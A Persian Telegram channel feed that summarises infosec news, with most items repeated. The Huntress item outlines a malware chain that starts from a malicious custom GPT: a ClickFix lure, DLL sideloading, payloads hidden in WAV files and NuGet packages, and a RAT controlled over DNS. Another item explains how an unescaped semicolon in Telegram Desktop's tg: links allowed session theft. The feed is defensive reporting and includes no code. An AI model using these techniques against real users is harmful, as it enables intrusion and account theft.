در این نسخه دموی درخواستی، به بررسی نحوه مدیریت هویت و کنترل دسترسی، حفاظت از داده‌های حساس و استراتژی‌های مدرن شناسایی تهدیدات پرداخته می‌شود. هدف از این معرفی، ارائه راهکارهایی موثر برای تقویت حاکمیت فناوری در طول چرخه عمر هوش مصنوعی است. با تماشای این دموی امنیتی، می‌توانید با روش‌های پیشرفته در مقابله با چالش‌های امنیتی آشنا شوید و راهکارهای عملی برای نگهداری ایمنی و اعتماد در فضای فناوری‌های نوظهور پیدا کنید.
با این منابع، می‌توانید مطمئن باشید که فناوری‌های هوشمند شما در مسیر بهبود و توسعه، بدون نگرانی از مخاطرات احتمالی، به خوبی مدیریت می‌شوند.
#امنیت_سایبری #حاکمیت_هوشمند #مدیریت_داده #هوش_مصنوعی
🟣لینک مقاله:
https://pages.awscloud.com/awsmp-gim-i0v9-webinar-sec-grc-security-lab-grc-security-lab.html?trk=351a7c3a-1186-4574-a8eb-5f5b9837c220&sc_channel=el&sp=nFMGRaR8uj1TlEzCEnXN2VGr
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Awscloud
GRC strategies for securing cloud AI
You see how to manage risk across identity, data, and platform layers using AWS and AWS Marketplace solutions.
🔵 عنوان مقاله
Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix (15 minute read)
🟢 خلاصه مقاله:
در این مقاله، به طور مفصل به روش‌های سوءاستفاده هکرها از نسخه‌های سفارشی ChatGPT می‌پردازیم که چگونه این تهدیدات در قالب حملات RAT (تروجان دسترسی از راه دور) وارد سیستم‌های قربانی می‌شوند. بر اساس یافته‌های اخیر، مجرمان سایبری با استفاده از تبلیغات گوگل، کاربران را به سمت یک نسخه‌ی شخصی‌شده و مخرب از GPT به نام "Plus 5.6" هدایت می‌کنند. این نسخه، هر درخواست کاربر را با پیام جعلی خاموشی و هشدارهای دروغین پاسخ می‌دهد و کاربران را به صفحات فریبنده Google Sites هدایت می‌کند که با هدف جلب کلیک و نصب بدافزار طراحی شده است.
این حمله در قالب یک زنجیره هشت‌مرحله‌ای پیش می‌رود. مهاجمان ابتدا DLLهای مخرب را در فایل‌های باینری امضا شده توسط Canon (و بعداً Stardock) قرار می‌دهند. سپس، این فایل‌ها به شکل مخفیانه در داخل فایل‌های WAV و بسته‌های NuGet جاسازی می‌شوند. در ادامه، نسخه کامل و کامل‌تری از RAT در یک سیستم فایل اختصاصی و رمزگذاری‌شده بارگذاری می‌شود، که از طریق DNS-over-HTTP کنترل می‌شود و به مهاجمان امکان دسترسی کنترل شده و مخفیانه به سیستم‌های آسیب‌پذیر را می‌دهد.
این تکنیک‌ها نشان می‌دهد که مهاجمان سایبری به چه شکل با بهره‌گیری از حملات پیچیده و تکنولوژیکی قصد دارند امنیت کاربران و سازمان‌ها را هدف قرار دهند و کنترل سیستم‌های هدف را در دست بگیرند. آگاهی و مراقبت در مقابل لینک‌های مشکوک و نسخه‌های سفارشی ابزارهای هوشمند چالشی است که همه باید در نظر بگیرند تا از این نوع حملات در امان بمانند.
#امنیت_سایبری #حملات_کامپیوتری #تروجان #هدایت_امنیتي
🟣لینک مقاله:
https://www.huntress.com/blog/chatgpt-custom-gpts-clickfix-rat?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix (15 minute read)
🟢 خلاصه مقاله:
در این مقاله، به طور مفصل به روش‌های سوءاستفاده هکرها از نسخه‌های سفارشی ChatGPT می‌پردازیم که چگونه این تهدیدات در قالب حملات RAT (تروجان دسترسی از راه دور) وارد سیستم‌های قربانی می‌شوند. بر اساس یافته‌های اخیر، مجرمان سایبری با استفاده از تبلیغات گوگل، کاربران را به سمت یک نسخه‌ی شخصی‌شده و مخرب از GPT به نام "Plus 5.6" هدایت می‌کنند. این نسخه، هر درخواست کاربر را با پیام جعلی خاموشی و هشدارهای دروغین پاسخ می‌دهد و کاربران را به صفحات فریبنده Google Sites هدایت می‌کند که با هدف جلب کلیک و نصب بدافزار طراحی شده است.
این حمله در قالب یک زنجیره هشت‌مرحله‌ای پیش می‌رود. مهاجمان ابتدا DLLهای مخرب را در فایل‌های باینری امضا شده توسط Canon (و بعداً Stardock) قرار می‌دهند. سپس، این فایل‌ها به شکل مخفیانه در داخل فایل‌های WAV و بسته‌های NuGet جاسازی می‌شوند. در ادامه، نسخه کامل و کامل‌تری از RAT در یک سیستم فایل اختصاصی و رمزگذاری‌شده بارگذاری می‌شود، که از طریق DNS-over-HTTP کنترل می‌شود و به مهاجمان امکان دسترسی کنترل شده و مخفیانه به سیستم‌های آسیب‌پذیر را می‌دهد.
این تکنیک‌ها نشان می‌دهد که مهاجمان سایبری به چه شکل با بهره‌گیری از حملات پیچیده و تکنولوژیکی قصد دارند امنیت کاربران و سازمان‌ها را هدف قرار دهند و کنترل سیستم‌های هدف را در دست بگیرند. آگاهی و مراقبت در مقابل لینک‌های مشکوک و نسخه‌های سفارشی ابزارهای هوشمند چالشی است که همه باید در نظر بگیرند تا از این نوع حملات در امان بمانند.
#امنیت_سایبری #حملات_کامپیوتری #تروجان #هدایت_امنیتي
🟣لینک مقاله:
https://www.huntress.com/blog/chatgpt-custom-gpts-clickfix-rat?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Huntress
Attackers Abuse ChatGPT Custom GPTs to Deliver RAT via ClickFix | Huntress
Huntress researchers reveal how attackers are exploiting ChatGPT Custom GPTs to spread ClickFix lures and DLL-sideloaded malware. See the full breakdown.
🔵 عنوان مقاله
Telegram Desktop One Click Account Takeover (8 minute read)
🟢 خلاصه مقاله:
استفاده از یک لینک کلیک شده به سادگی می‌تواند به مهاجم اجازه دهد تا نشست تلگرام دسکتاپ را پس از کلیک کردن، کپی کند، مخصوصاً در نسخه‌های ۷.۲.۸ و قبل‌تر. این آسیب‌پذیری ناشی از وجود نقطه‌ویرگول بدون فرار در کنترل‌کننده‌های لینک تلگرام (tg:) است که مهاجم را قادر می‌سازد یک فایل مخفی interpret: ایجاد کرده و اجازه دهد فایل‌های محلی کاربر را در هر چتی آپلود کند (CVE-2026-107181). در این نوع حمله، مهاجم فایل‌های دستوری مخفی را از طریق دانلود خودکار در گروه‌هایی که قربانی به آنها افزوده شده است، ارسال می‌کند، بدون آن‌که کاربر اطلاع داشته باشد یا رضایت دهد. سپس، مهاجم سه فایل tdata را جابه‌جا می‌کند، فایل‌هایی که هنگام ورود به سیستم دیگر، در کنار دیگر فایل‌ها، باز می‌شوند و نیاز به تأیید رمز عبور پیامکی یا رمز دو مرحله‌ای ندارند، مخصوصاً در مواردی که گذرواژه محلی بر روی دستگاه تنظیم نشده باشد. این نسل از حملات، بی‌درنگ نیازمند توجه و اصلاحات امنیتی است تا از سرقت حساب‌های کاربری تلگرام جلوگیری شود و حریم خصوصی کاربران حفظ گردد.
#امنیت #حریم_خصوصی #تلگرام #آسیب‌پذیری
🟣لینک مقاله:
https://hackingpassion.com/telegram-desktop-one-click-account-takeover/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Telegram Desktop One Click Account Takeover (8 minute read)
🟢 خلاصه مقاله:
استفاده از یک لینک کلیک شده به سادگی می‌تواند به مهاجم اجازه دهد تا نشست تلگرام دسکتاپ را پس از کلیک کردن، کپی کند، مخصوصاً در نسخه‌های ۷.۲.۸ و قبل‌تر. این آسیب‌پذیری ناشی از وجود نقطه‌ویرگول بدون فرار در کنترل‌کننده‌های لینک تلگرام (tg:) است که مهاجم را قادر می‌سازد یک فایل مخفی interpret: ایجاد کرده و اجازه دهد فایل‌های محلی کاربر را در هر چتی آپلود کند (CVE-2026-107181). در این نوع حمله، مهاجم فایل‌های دستوری مخفی را از طریق دانلود خودکار در گروه‌هایی که قربانی به آنها افزوده شده است، ارسال می‌کند، بدون آن‌که کاربر اطلاع داشته باشد یا رضایت دهد. سپس، مهاجم سه فایل tdata را جابه‌جا می‌کند، فایل‌هایی که هنگام ورود به سیستم دیگر، در کنار دیگر فایل‌ها، باز می‌شوند و نیاز به تأیید رمز عبور پیامکی یا رمز دو مرحله‌ای ندارند، مخصوصاً در مواردی که گذرواژه محلی بر روی دستگاه تنظیم نشده باشد. این نسل از حملات، بی‌درنگ نیازمند توجه و اصلاحات امنیتی است تا از سرقت حساب‌های کاربری تلگرام جلوگیری شود و حریم خصوصی کاربران حفظ گردد.
#امنیت #حریم_خصوصی #تلگرام #آسیب‌پذیری
🟣لینک مقاله:
https://hackingpassion.com/telegram-desktop-one-click-account-takeover/?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
HackingPassion.com : root@HackingPassion.com-[~]
Telegram Desktop One Click Account Takeover
One click on a link in a Telegram group sent a victim's login files to an attacker. How Telegram Desktop up to 7.2.8 allowed it, and how to stay safe.
🔵 عنوان مقاله
Signal completes rollout of secure chat backups across all platforms (1 minute read)
🟢 خلاصه مقاله:
اپلیکیشن سیگنال با موفقیت تمامی نسخه‌های خود را به قابلیت نسخه‌برداری امن و رمزگذاری‌شده پایان به پایان (End-to-End) تجهیز کرد. در نسخه ۸.۳۰، کاربران آی‌او‌اس و دسکتاپ توانستند از نسخه‌های پشتیبانی امن مبتنی بر رمزنگاری روی دستگاه‌های خود بهره‌مند شوند، یعنی تمامی پلتفرم‌ها اکنون از فرمت یکسان و استاندارد در فرآیند نسخه‌برداری برخوردار شده‌اند. این اقدام، به منظور افزایش امنیت و محافظت کامل از اطلاعات کاربر صورت گرفته است و نشان می‌دهد که تیم توسعه‌دهنده به تعهد خود در حفظ حریم خصوصی کاربران پایبند است. اما با این پیشرفت، خطراتی نیز ظاهر شده است؛ گزارش‌ها حاکی است مهاجمان شروع به هدف‌قراردادن کلیدهای بازیابی کرده‌اند، بنابراین کاربران نیاز دارند مراقب امنیت کلیدهای خود باشند و اقدامات لازم جهت محافظت از آنها را انجام دهند.
در نتیجه، تمام کاربران سیگنال حالا می‌توانند با اطمینان بیشتری از امنیت چت‌های خود در هر پلتفرمی بهره‌مند شوند، هرچند که باید همزمان هوشیار باشند و روش‌های محافظتی ضد هک را رعایت کنند تا حریم خصوصی و امنیت اطلاعات‌شان محفوظ بماند. این توسعه، قدمی مهم در جهت ارائه سرویس‌های امن‌تر و مقاوم‌تر در دنیای پرخطر دیجیتال است، اما همچنان نیازمند هوشمندی و آگاهی کاربران در برابر تهدیدهای سایبری است.
#امنیت #چت_رمزا #حریم_خصوصی #سیگنال
🟣لینک مقاله:
https://www.scworld.com/brief/signal-completes-rollout-of-secure-chat-backups-across-all-platforms?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Signal completes rollout of secure chat backups across all platforms (1 minute read)
🟢 خلاصه مقاله:
اپلیکیشن سیگنال با موفقیت تمامی نسخه‌های خود را به قابلیت نسخه‌برداری امن و رمزگذاری‌شده پایان به پایان (End-to-End) تجهیز کرد. در نسخه ۸.۳۰، کاربران آی‌او‌اس و دسکتاپ توانستند از نسخه‌های پشتیبانی امن مبتنی بر رمزنگاری روی دستگاه‌های خود بهره‌مند شوند، یعنی تمامی پلتفرم‌ها اکنون از فرمت یکسان و استاندارد در فرآیند نسخه‌برداری برخوردار شده‌اند. این اقدام، به منظور افزایش امنیت و محافظت کامل از اطلاعات کاربر صورت گرفته است و نشان می‌دهد که تیم توسعه‌دهنده به تعهد خود در حفظ حریم خصوصی کاربران پایبند است. اما با این پیشرفت، خطراتی نیز ظاهر شده است؛ گزارش‌ها حاکی است مهاجمان شروع به هدف‌قراردادن کلیدهای بازیابی کرده‌اند، بنابراین کاربران نیاز دارند مراقب امنیت کلیدهای خود باشند و اقدامات لازم جهت محافظت از آنها را انجام دهند.
در نتیجه، تمام کاربران سیگنال حالا می‌توانند با اطمینان بیشتری از امنیت چت‌های خود در هر پلتفرمی بهره‌مند شوند، هرچند که باید همزمان هوشیار باشند و روش‌های محافظتی ضد هک را رعایت کنند تا حریم خصوصی و امنیت اطلاعات‌شان محفوظ بماند. این توسعه، قدمی مهم در جهت ارائه سرویس‌های امن‌تر و مقاوم‌تر در دنیای پرخطر دیجیتال است، اما همچنان نیازمند هوشمندی و آگاهی کاربران در برابر تهدیدهای سایبری است.
#امنیت #چت_رمزا #حریم_خصوصی #سیگنال
🟣لینک مقاله:
https://www.scworld.com/brief/signal-completes-rollout-of-secure-chat-backups-across-all-platforms?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
SC Media
Signal completes rollout of secure chat backups across all platforms
The secure backups feature, initially launched on Android nearly a year ago, allows users to create end-to-end encrypted backups of their conversations.
🔵 عنوان مقاله
When AI agents use human identities, they leave problems no one is accountable for (Sponsor)
🟢 خلاصه مقاله:
وقتی عوامل هوشمند مصنوعی از هویت‌های انسانی استفاده می‌کنند، مشکلاتی به وجود می‌آید که هیچ‌کس مسئول آن نیست. در این وضعیت، لاگ‌های حسابرسی معمولاً نمی‌توانند کمک کنند، چون ممکن است فقط به حساب سرویس یا کانتینر قدیمی و غیرفعال اشاره داشته باشند. برای مقابله با این مشکل، راهکارهای مدرن امنیتی مانند Ory Agent Security ارائه شده است. این سیستم به هر عامل هوشمند یک هویت مختص، محدود و قابل لغو اختصاص می‌دهد.
این هویت‌ها در داخل سامانه عمل می‌کنند و با رعایت جزئیات بالا، مجوزهای دسترسی دقیق برای هر فرمان خط فرمان، نوشتن داده یا تماس با API را کنترل می‌کنند. به این ترتیب، امنیت و شفافیت در فرآیندهای سیستم حفظ می‌شود و مشکلات ناشی از هویت‌های ناقص یا مبهم کاهش می‌یابد.
برای کسب اطلاعات بیشتر، می‌توانید در وبینار راه‌اندازی شرکت کنید یا در مدت محدود از پوشش رایگان این سرویس بهره‌مند شوید. این فرصت معقولی است برای آشنایی بهتر با تکنولوژی‌هایی که امنیت دیجیتال را به سطح جدیدی می‌برند و کنترل کامل روی هویت‌های هوشمند مصنوعی فراهم می‌کنند.
#امنیت #هوش_مصنوعی #مدیریت_هویت #حفاظت_داده
🟣لینک مقاله:
https://www.ory.com/ory-agent-security?utm_campaign=494758105-ADV-2026-Q3-TLDR%20PLACEMENT-2026-09-14&utm_source=tldr&utm_medium=infosec-newsltter
➖➖➖➖➖➖➖➖
👑 @software_Labdon
When AI agents use human identities, they leave problems no one is accountable for (Sponsor)
🟢 خلاصه مقاله:
وقتی عوامل هوشمند مصنوعی از هویت‌های انسانی استفاده می‌کنند، مشکلاتی به وجود می‌آید که هیچ‌کس مسئول آن نیست. در این وضعیت، لاگ‌های حسابرسی معمولاً نمی‌توانند کمک کنند، چون ممکن است فقط به حساب سرویس یا کانتینر قدیمی و غیرفعال اشاره داشته باشند. برای مقابله با این مشکل، راهکارهای مدرن امنیتی مانند Ory Agent Security ارائه شده است. این سیستم به هر عامل هوشمند یک هویت مختص، محدود و قابل لغو اختصاص می‌دهد.
این هویت‌ها در داخل سامانه عمل می‌کنند و با رعایت جزئیات بالا، مجوزهای دسترسی دقیق برای هر فرمان خط فرمان، نوشتن داده یا تماس با API را کنترل می‌کنند. به این ترتیب، امنیت و شفافیت در فرآیندهای سیستم حفظ می‌شود و مشکلات ناشی از هویت‌های ناقص یا مبهم کاهش می‌یابد.
برای کسب اطلاعات بیشتر، می‌توانید در وبینار راه‌اندازی شرکت کنید یا در مدت محدود از پوشش رایگان این سرویس بهره‌مند شوید. این فرصت معقولی است برای آشنایی بهتر با تکنولوژی‌هایی که امنیت دیجیتال را به سطح جدیدی می‌برند و کنترل کامل روی هویت‌های هوشمند مصنوعی فراهم می‌کنند.
#امنیت #هوش_مصنوعی #مدیریت_هویت #حفاظت_داده
🟣لینک مقاله:
https://www.ory.com/ory-agent-security?utm_campaign=494758105-ADV-2026-Q3-TLDR%20PLACEMENT-2026-09-14&utm_source=tldr&utm_medium=infosec-newsltter
➖➖➖➖➖➖➖➖
👑 @software_Labdon
Ory Corp
Ory Agent Security, the Control Plane for AI Coding Agents | Ory
Eliminate the AI agent blind spot. Establish an in-the-loop trust framework inside your agent runtime. Every agent authenticated, authorized, and accountable.
🔵 عنوان مقاله
UK cops arrest 2 EvilTokens suspects, Microsoft seizes 50 phishing kit websites (2 minute read)
🟢 خلاصه مقاله:
در تازه‌ترین اقدامات، پلیس‌های بریتانیا و شرکت مایکروسافت توانستند شبکه EvilTokens را متوقف و فعالیت‌های مخرب آن را سرکوب کنند. EvilTokens یک سرویس فیشینگ است که با استفاده از کدهای دستگاه‌های مایکروسافت، کاربران را فریب می‌داد تا اطلاعات حساس و حساب‌های شخصی خود را در دام شیادان بیندازند. این کلاهبرداری سایبری خطرناک، مدت‌ها نگرانی امنیت دیجیتال را در بین کاربران ایجاد کرده بود و اکنون با تلاش‌های مشترک پلیس و مایکروسافت، موفق شدند این شبکه مخرب را متوقف و چند مظنون را دستگیر کنند.
در ادامه، مایکروسافت به عنوان یکی از غول‌های فناوری جهان، فعالیت‌های فیشینگ را به طور جدی دنبال می‌کند و در این راستا توانسته است حدود ۵۰ وب‌سایت مربوط به کیت‌های فیشینگ را شناسایی و مسدود کند. این سایت‌ها نقش مهمی در توزیع ابزارهای جعلی برای سرقت اطلاعات کاربران داشتند که با هدف حملات سایبری و اخلال در امنیت سایبری است. همکاری نزدیک این شرکت با نیروهای پلیس نشان‌دهنده تلاش مشترک جهت حفاظت هر چه بیشتر در فضای دیجیتال است و نقش مهم قانون در مقابله با جرایم سایبری را برجسته می‌کند.
در نتیجه، این عملیات موفق نشان می‌دهد که تقابل با جرایم اینترنتی نیازمند هم‌افزایی و همکاری گسترده است. اقداماتی نظیر بازداشت متهمان و مسدود سازی سایت‌ها، بخش‌های مهمی از مبارزه با جرایم سایبری و حفاظت از حریم خصوصی کاربران محسوب می‌شود. این حادثه یادآوری است که امنیت دیجیتال نیازمند هوشیاری و همکاری همگانی است تا بتوان در مقابل تهدیدهای فزاینده محافظت کرد و فضای آنلاین را امن‌تر ساخت.
#امنیت_سایبری #فیشینگ #کلاهبرداری_دیجیتال #مبارزه_با_جرایم_سایبری
🟣لینک مقاله:
https://www.theregister.com/security/2026/09/22/uk-cops-arrest-2-eviltokens-suspects-microsoft-seizes-50-phishing-kit-websites/5298317?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
UK cops arrest 2 EvilTokens suspects, Microsoft seizes 50 phishing kit websites (2 minute read)
🟢 خلاصه مقاله:
در تازه‌ترین اقدامات، پلیس‌های بریتانیا و شرکت مایکروسافت توانستند شبکه EvilTokens را متوقف و فعالیت‌های مخرب آن را سرکوب کنند. EvilTokens یک سرویس فیشینگ است که با استفاده از کدهای دستگاه‌های مایکروسافت، کاربران را فریب می‌داد تا اطلاعات حساس و حساب‌های شخصی خود را در دام شیادان بیندازند. این کلاهبرداری سایبری خطرناک، مدت‌ها نگرانی امنیت دیجیتال را در بین کاربران ایجاد کرده بود و اکنون با تلاش‌های مشترک پلیس و مایکروسافت، موفق شدند این شبکه مخرب را متوقف و چند مظنون را دستگیر کنند.
در ادامه، مایکروسافت به عنوان یکی از غول‌های فناوری جهان، فعالیت‌های فیشینگ را به طور جدی دنبال می‌کند و در این راستا توانسته است حدود ۵۰ وب‌سایت مربوط به کیت‌های فیشینگ را شناسایی و مسدود کند. این سایت‌ها نقش مهمی در توزیع ابزارهای جعلی برای سرقت اطلاعات کاربران داشتند که با هدف حملات سایبری و اخلال در امنیت سایبری است. همکاری نزدیک این شرکت با نیروهای پلیس نشان‌دهنده تلاش مشترک جهت حفاظت هر چه بیشتر در فضای دیجیتال است و نقش مهم قانون در مقابله با جرایم سایبری را برجسته می‌کند.
در نتیجه، این عملیات موفق نشان می‌دهد که تقابل با جرایم اینترنتی نیازمند هم‌افزایی و همکاری گسترده است. اقداماتی نظیر بازداشت متهمان و مسدود سازی سایت‌ها، بخش‌های مهمی از مبارزه با جرایم سایبری و حفاظت از حریم خصوصی کاربران محسوب می‌شود. این حادثه یادآوری است که امنیت دیجیتال نیازمند هوشیاری و همکاری همگانی است تا بتوان در مقابل تهدیدهای فزاینده محافظت کرد و فضای آنلاین را امن‌تر ساخت.
#امنیت_سایبری #فیشینگ #کلاهبرداری_دیجیتال #مبارزه_با_جرایم_سایبری
🟣لینک مقاله:
https://www.theregister.com/security/2026/09/22/uk-cops-arrest-2-eviltokens-suspects-microsoft-seizes-50-phishing-kit-websites/5298317?utm_source=tldrinfosec
➖➖➖➖➖➖➖➖
👑 @software_Labdon
theregister
UK cops arrest 2 EvilTokens suspects, Microsoft seizes 50 phishing kit websites
Used by crims to compromise 12K+ email inboxes across 10K+ global orgs